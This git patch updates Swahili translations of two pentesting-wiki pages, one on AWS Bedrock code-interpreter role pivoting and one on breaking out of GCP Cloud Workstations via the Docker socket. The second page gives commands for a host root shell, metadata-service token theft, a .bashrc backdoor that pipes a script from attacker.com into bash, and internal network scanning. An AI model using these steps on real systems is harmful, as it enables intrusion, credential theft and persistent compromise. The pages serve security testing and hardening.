From 64875f993ce915d5f315b29c221c758ed38b7d3d Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 13 Feb 2026 10:21:10 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-bedrock-privesc/README.md | 50 +++++++++---------- .../gcp-cloud-workstations-privesc.md | 34 ++++++------- 2 files changed, 42 insertions(+), 42 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index 09c26fc30..14068f11c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,32 +6,32 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter ni mazingira ya utekelezaji yaliyosimamiwa. **Custom Code Interpreters** zinaweza kusanidiwa na **`executionRoleArn`** inayotoa “ruhusa kwa Code Interpreter kufikia huduma za AWS”. +AgentCore Code Interpreter ni mazingira yaliyosimamiwa ya utekelezaji. **Custom Code Interpreters** zinaweza kusanidiwa na **`executionRoleArn`** ambayo "inatoa ruhusa kwa code interpreter kufikia huduma za AWS". -Kama **lower-privileged IAM principal** anaweza **start + invoke** kikao cha Code Interpreter kilichosanidiwa na **more privileged execution role**, mwitoaji anaweza kwa ufanisi **pivot into the execution role’s permissions** (lateral movement / privilege escalation kulingana na wigo wa role). +Ikiwa **msemaji wa IAM mwenye ruhusa ndogo** anaweza **kuanza + kuita** kikao cha Code Interpreter kilichosanidiwa na **execution role yenye ruhusa zaidi**, mwito unaweza kwa ufanisi **pivot into the execution role’s permissions** (lateral movement / privilege escalation kulingana na upeo wa role). > [!NOTE] -> Hii kwa kawaida ni tatizo la **misconfiguration / excessive permissions** (kutoa ruhusa nyingi kwa interpreter execution role na/au kutoa upatikanaji mpana wa invoke). -> AWS kwa uwazi inaonya kuepuka privilege escalation kwa kuhakikisha execution roles zina **equal or fewer** privileges kuliko vitambulisho vinavyoruhusiwa kuinvoke. +> Hii kawaida ni suala la **misconfiguration / excessive permissions** (kutoa ruhusa kubwa kwa interpreter execution role na/au kutoa upatikanaji mpana wa invoke). +> AWS kwa wazi inaonya kuepuka privilege escalation kwa kuhakikisha execution roles zina **ruhusa sawa au chache** kuliko vitambulisho vinavyoruhusiwa kuita. #### Masharti ya awali (common misconfiguration) -- Kuna **custom code interpreter** iliyopo iliyo na **execution role** yenye ruhusa nyingi sana (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities). +- A **custom code interpreter** inapatikana na **execution role** yenye ruhusa kupita kiasi (mfano: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities). - Mtumiaji (developer/auditor/CI identity) ana ruhusa za: -- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` -- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` -- (Optional) Mtumiaji pia anaweza kuunda interpreters: `bedrock-agentcore:CreateCodeInterpreter` (inawaruhusu kuunda interpreter mpya iliyosanidiwa na execution role, kulingana na org guardrails). + - start sessions: `bedrock-agentcore:StartCodeInterpreterSession` + - invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` +- (Hiari) Mtumiaji pia anaweza kuunda interpreters: `bedrock-agentcore:CreateCodeInterpreter` (inawaruhusu kuunda interpreter mpya iliyosanidiwa na execution role, kulingana na org guardrails). #### Recon (identify custom interpreters and execution role usage) -Orodhesha interpreters (control-plane) na angalia usanidi wao: +List interpreters (control-plane) and inspect their configuration: ```bash aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id ```` -> Amri create-code-interpreter inasaidia `--execution-role-arn` ambayo huainisha ruhusa za AWS ambazo interpreter atakuwa nazo. +> Amri ya create-code-interpreter inaunga mkono `--execution-role-arn` ambayo inaeleza ruhusa za AWS ambazo mfasiri atakuwa nazo. -#### Hatua 1 - Anzisha sesi (hii inarudisha `sessionId`, si interactive shell) +#### Hatua 1 - Anzisha kikao (hii itarudisha `sessionId`, si interactive shell) ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### Hatua ya 2 - Kusababisha utekelezaji wa msimbo (Boto3 au HTTPS iliyosainiwa) +#### Hatua 2 - Waalike utekelezaji wa msimbo (Boto3 au signed HTTPS) -Hakuna **interactive python shell** kutoka `start-code-interpreter-session`. Utekelezaji hufanyika kupitia **InvokeCodeInterpreter**. +Hakuna **shell ya python ya mwingiliano** kutoka `start-code-interpreter-session`. Utekelezaji hufanyika kupitia **InvokeCodeInterpreter**. -**Chaguo A - Mfano wa Boto3 (tekeleza Python + thibitisha utambulisho):** +**Chaguo A - mfano wa Boto3 (tekeleza Python + thibitisha utambulisho):** ```python import boto3 @@ -68,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -Ikiwa interpreter imewekwa na execution role, matokeo ya `sts:GetCallerIdentity()` yanapaswa kuonyesha utambulisho wa role hiyo (si low-priv caller), ikithibitisha pivot. +Iwapo interpreter imewekwa na execution role, matokeo ya `sts:GetCallerIdentity()` yanapaswa kuonyesha utambulisho wa role hiyo (si low-priv caller), ikionesha pivot. -**Chaguo B - ombi la HTTPS lililosainiwa (awscurl):** +**Chaguo B - Mwito wa HTTPS uliosainiwa (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -87,20 +87,20 @@ awscurl -X POST \ } }' ``` -#### Madhara +#### Impact -* **Lateral movement** ndani ya upatikanaji wowote wa AWS ambao interpreter execution role ina. +* **Lateral movement** kwa upatikanaji wowote wa AWS ambao interpreter execution role ina. * **Privilege escalation** ikiwa interpreter execution role ina ruhusa zaidi kuliko caller. -* Ugunduzi ni mgumu zaidi ikiwa CloudTrail data events kwa interpreter invocations hazijawezeshwa (invocations huenda zisihifadhiwe kwa kumbukumbu kwa chaguo-msingi, kulingana na usanidi). +* Kugundua kwa ugumu zaidi ikiwa CloudTrail data events kwa interpreter invocations hazijawezeshwa (invocations huenda zisirekodiwe kwa default, kulingana na usanidi). -#### Kupunguza hatari / Kuimarisha usalama +#### Mitigations / Hardening -* **Least privilege** kwa interpreter `executionRoleArn` (itunzwe kama Lambda execution roles / CI roles). -* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) na nani anaweza kuanza vikao. -* Tumia **SCPs** kuzuia InvokeCodeInterpreter isipokuwa kwa agent runtime roles zilizothibitishwa (inaweza kuhitajika utekelezaji ngazi ya shirika). -* Washa **CloudTrail data events** zinazofaa kwa AgentCore pale inapofaa; tuma onyo kwa invocations zisizotarajiwa na uundaji wa vikao. +* **Least privilege** kwa interpreter `executionRoleArn` (itendwe kama Lambda execution roles / CI roles). +* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) na nani anayeweza kuanza sessions. +* Tumia **SCPs** kuzuia InvokeCodeInterpreter isipokuwa kwa approved agent runtime roles (inaweza kuwa muhimu kutekeleza ngazi ya org). +* Washa zinazofaa **CloudTrail data events** kwa AgentCore pale inapofaa; toa onyo juu ya invocations zisizotarajiwa na uundaji wa sessions. -## Marejeleo +## References - [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/) - [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index f740f6961..370e7e8ba 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -3,16 +3,16 @@ ### Container Breakout via Docker Socket (Container -> VM -> Project) -Njia kuu ya kuinua vibali katika Cloud Workstations inatokana na hitaji la kuunga mkono mtiririko wa kazi wa Docker-in-Docker (DinD) kwa waendelezaji. Wakati usanidi wa workstation unachomeka Docker socket au kuruhusu privileged containers (usanidi wa kawaida), mshambuliaji ndani ya workstation container anaweza kutoroka hadi Compute Engine VM inayoshikilia na kuiba service account token yake. +Njia kuu ya privilege escalation katika Cloud Workstations inatokana na hitaji la kuunga mkono workflows za **Docker-in-Docker (DinD)** kwa waendelezaji. Wakati usanidi wa workstation unachomeka Docker socket au kuruhusu privileged containers (usanidi wa kawaida), mshambuliaji ndani ya workstation container anaweza kutoroka hadi Compute Engine VM inayokaa chini na kuiba token ya service account yake. -**Vigezo vinavyohitajika:** -- Ufikiaji wa terminal ya Cloud Workstation (kupitia SSH, kikao kilicholengwa/komprometwa, au credentials zilizoporwa) +**Prerequisites:** +- Ufikiaji wa terminal ya Cloud Workstation (kupitia SSH, session iliyoathiriwa, au credentials zilizoporwa) - Usanidi wa workstation lazima uchomeke `/var/run/docker.sock` au kuruhusu privileged containers -**Muktadha wa usanifu:** Workstation ni container (Layer 3) inayokimbia kwenye runtime ya Docker/Containerd (Layer 2) kwenye GCE VM (Layer 1). Docker socket inatoa ufikiaji wa moja kwa moja kwa runtime ya container ya host. +**Architecture context:** Workstation ni container (Layer 3) inayokimbia kwenye Docker/Containerd runtime (Layer 2) kwenye GCE VM (Layer 1). Docker socket hutoa ufikiaji wa moja kwa moja kwa container runtime ya host. > [!NOTE] -> Zana [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) inaotomatisha container escape kamili na inakupeleka kwenye root shell kwenye host VM. +> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) inaotomatisha full container escape na inakupeleka kwenye root shell kwenye host VM.
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
-Hatua 2: Kutoroka hadi filesystem ya VM ya mwenyeji +Hatua 2: Kutoroka kwenye mfumo wa faili wa VM ya mwenyeji -Tunaendesha privileged container, na ku-mount root directory ya mwenyeji kwenye `/mnt/host`. Pia tunashirikisha network na PID namespace ya mwenyeji ili kuongeza uonekano. +Tunazindua privileged container, tukimount root directory ya host hadi `/mnt/host`. Pia tunashare network na PID namespace za host ili kuongeza uonekano. ```bash # Spawn a privileged container mounting the host's root filesystem docker run -it --rm --privileged --net=host --pid=host \ @@ -38,13 +38,13 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -Sasa una **root shell kwenye Compute Engine VM iliyopo chini** (Layer 1). +Sasa una **root shell on the underlying Compute Engine VM** (Layer 1).
-Hatua 3: Pora token ya VM service account kutoka IMDS +Hatua 3: Iba token ya service account ya VM kutoka IMDS ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION] -> **Angalia access scopes!** -> Hata kama Service Account iliyounganishwa ni **Editor**, VM inaweza kuwekewa vikwazo na access scopes. -> Ikiwa unaona `https://www.googleapis.com/auth/cloud-platform`, una upatikanaji kamili. -> Ikiwa unaona tu `logging.write` na `monitoring.write`, umefungwa kwa vectors za **Network Pivot** na **Persistence** hapa chini. +> **Kagua access scopes!** +> Hata kama Service Account iliyounganishwa ni **Editor**, VM inaweza kuwa imezuiwa na access scopes. +> Ikiwa unaona `https://www.googleapis.com/auth/cloud-platform`, una ruhusa kamili. +> Ikiwa unaona tu `logging.write` na `monitoring.write`, umezuiliwa kwa vector za **Network Pivot** na **Persistence** hapa chini.
-Hatua ya 4: Achieve Persistence (Backdoor the User) +Step 4: Achieve Persistence (Backdoor the User) -Cloud Workstations mount a persistent disk to `/home/user`. Kwa sababu container user (kawaida `user`, UID 1000) anafanana na host user (UID 1000), unaweza kuandika kwenye home directory ya host. Hii inakuwezesha backdoor the environment hata workstation container ikijengwa upya. +Cloud Workstations zinaambatisha diski ya kudumu kwenye `/home/user`. Kwa sababu container user (kawaida `user`, UID 1000) anafanana na host user (UID 1000), unaweza kuandika kwenye home directory ya host. Hii inakuwezesha kuweka backdoor katika environment hata kama workstation container itajengwa upya. ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -83,9 +83,9 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
-Step 5: Network Pivot (Internal VPC Access) +Hatua 5: Network Pivot (Internal VPC Access) -Kwa kuwa unashiriki host network namespace (`--net=host`), sasa wewe ni trusted node kwenye VPC. Unaweza kufanya scan kwa internal services zinazoruhusu access kwa kutumia IP whitelisting. +Kwa kuwa unashiriki host network namespace (`--net=host`), sasa uko kama trusted node kwenye VPC. Unaweza scan internal services zinazoruhusu access kwa msingi wa IP whitelisting. ```bash # Install scanning tools on the host (if internet access allows) apk add nmap